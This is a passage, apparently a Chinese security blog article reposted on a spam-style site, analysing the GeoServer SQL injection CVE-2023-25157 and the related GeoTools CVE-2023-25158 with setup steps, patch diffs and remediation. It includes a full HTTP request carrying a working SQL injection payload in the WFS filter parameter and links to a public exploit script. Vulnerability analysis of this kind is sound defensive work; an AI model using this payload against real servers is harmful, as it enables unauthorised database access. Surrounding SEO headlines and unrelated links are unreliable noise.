当前位置: 首页 > news >正文

太原做响应式网站设计百度软文推广怎么做

太原做响应式网站设计,百度软文推广怎么做,东莞网站建设地点优化,网络文化经营许可证变更原创稿件征集 邮箱:eduantvsion.com QQ:3200599554 黑客与极客相关,互联网安全领域里 的热点话题 漏洞、技术相关的调查或分析 稿件通过并发布还能收获 200-800元不等的稿酬 更多详情,点我查看! 简介 GeoServer是一个开…

f1d86199206c845bb608bd970820ed59.gif

原创稿件征集

邮箱:edu@antvsion.com

QQ:3200599554

黑客与极客相关,互联网安全领域里

的热点话题

漏洞、技术相关的调查或分析

稿件通过并发布还能收获

200-800元不等的稿酬

更多详情,点我查看!

简介

GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。

影响版本

geoserver<2.18.7

2.19.0<=geoserver<2.19.7

2.20.0<=geoserver<2.20.7

2.21.0<=geoserver<2.21.4

2.22.0<=geoserver<2.22.2

环境搭建

安装方式有多种可以选择

  • • windwos下载安装

https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download

下载后只需要指定端口直接下载可完成安装

  • • war包安装

tomcat下载地址

https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zip

geoserver下载地址

https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip

  • • 解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war

  • • 把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。

  • • 启动tomcat

访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081

http://localhost:8081/geoserver/web/
e91dc4752b7980e0be65497728508ac9.png

分析

POC下载链接

https://github.com/win3zz/CVE-2023-25157

python3 CVE-2023-25157.py http://localhost:8081

cf45d9332be2bc4ed60cb1d8a12ca93b.png

查看提交的补丁分析一下漏洞

https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d

修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java

重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块

9320aa82fd75fa146c2749948425ae3d.png

属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。NamedParameterJdbcTemplate是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程

public ConfigDatabase(JDBCLoaderProperties properties,DataSource dataSource,XStreamInfoSerialBinding binding) {this(properties, dataSource, binding, null);}public ConfigDatabase(JDBCLoaderProperties properties,final DataSource dataSource,final XStreamInfoSerialBinding binding,CacheProvider cacheProvider) {this.properties = properties;this.binding = binding;this.template = new NamedParameterJdbcTemplate(dataSource);

通过使用参数化查询而不是字符串连接

52be9c44f6a68e361e998446b8e286ac.png

src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改

//sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");//sql.append(") query\n");sql.insert(0,"SELECT * FROM (SELECT query.*, rownum rnum FROM ("+ (isDebugMode() ? "\n" : ""));sql.append(") query");appendIfDebug(sql, "\n", " ");

修改了插入语法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java

中定义

public boolean isDebugMode() {return debugMode;}public void setDebugMode(boolean debugMode) {this.debugMode = debugMode;}/** Escapes the contents of the SQL comment to prevent SQL injection. */public String escapeComment(String comment) {String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");}/** Appends the objects to the SQL in a comment if debug mode is enabled. */public StringBuilder appendComment(StringBuilder sql, Object... objects) {if (!debugMode) {return sql;}sql.append(" /* ");for (Object object : objects) {sql.append(escapeComment(String.valueOf(object)));}return sql.append(" */\n");}/** Appends the objects to the SQL in an comment if debug mode is enabled. */public StringBuilder appendComment(Object sql, Object... objects) {return appendComment((StringBuilder) sql, objects);}/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {return sql.append(debugMode ? ifEnabled : ifDisabled);}

获取功能名POC

GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1
cfc5e74c54af06627e88789e473d6777.png

获取功能属性POC

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1
cc9267aec161bdc9cfcba6cdcd15fdee.png

构造恶意payload

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: 10.10.12.35:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0
Upgrade-Insecure-Requests: 1

这里引用一张图,geotools的注入漏洞

e0a48bcebd858486c667e0db0932c401.png

漏洞编号CVE-2023-25158,查看补丁发现

在类中添加该escapeBackslash字段modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符

// single quotes must be escaped to have a valid sql stringString escaped = escapeLiteral(encoding);

调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号

public static String escapeLiteral(String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {// ' --> ''String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");if (escapeBackslash) {// \ --> \\escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");}if (escapeDoubleQuote) {// " --> \"escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");}return escaped;

至于为什么会聊到CVE-2023-25158,这里就要聊到GeoserverGeotools的关系了,可以参考这篇文章

https://blog.csdn.net/nmj2008/article/details/113869086

修复方案

  • • 升级安全版本,目前已经有最新版本。

参考链接

https://github.com/0x2458bughunt/CVE-2023-25157https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d#diff-ad9c7486badfa75fbc4945fec56a8bb870a983363eb1f8c8fa39fc69589a6593https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7https://blog.csdn.net/nmj2008/article/details/113869086


原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

4ee2eff37c1861585e5690ad0898c35a.gif

九周年庆,戳“阅读原文

http://www.yayakq.cn/news/350248/

相关文章:

  • 手机网站导航按钮微信crm系统
  • 某网站seo诊断分析如何在后台做网站流程
  • 仿百度百科网站源码wordpress 添加顶部公告
  • 金融服务网站建设内容安居客西安网页版
  • 深圳网站建设首选上榜网络网络规划设计师资料及视频教程
  • 阿里巴巴网站建设的不足之处成都网站制作实力乐云seo
  • 中国域名网站排名西安哪家装修公司最放心
  • wordpress用户名和密码网站优化都是怎么做的
  • 做网站的费用 优帮云抖音小程序定制
  • python建设购物网站巴彦淖尔网站制作开发
  • 一级域名指向wordpress页面太原seo代理计费
  • 东莞网站建设在线推广wordpress访问地址修改
  • 正规建网站企业网站双倍浮动
  • 临沂网站设计建设厦门百城建设有限公司网站
  • python在线编程网址seo是什么的简称
  • 如何做flash游戏下载网站学设计在哪学比较好
  • 网站特效模板下载胶州市 网站建设
  • 门户网站开发设计报告服装网站建设竞争对手调查分析
  • 网站推广公司官网和wordpress类似的
  • 网站模板d一品资源网wordpress文章浏览统计
  • 网站手机源码开发公司交房归物业公司交给物业公司
  • 网站打开速度加快怎么做用dede做的网站首页
  • 运动器材网站建设网站要交钱吗
  • 荣成网站开发给我免费播放片国语电影
  • 广东省门户网站建设的现状景翔物流网站建设公司
  • 做网站怎么买域名品牌网络营销策划
  • 网站建设方案 pdf网页无法上传wordpress
  • 河南省城乡建设厅网站首页广告外链购买平台
  • 优秀的电商app设计网站虚拟主机加RDS安装wordpress
  • 在百度建免费网站吗可以看任何东西的浏览器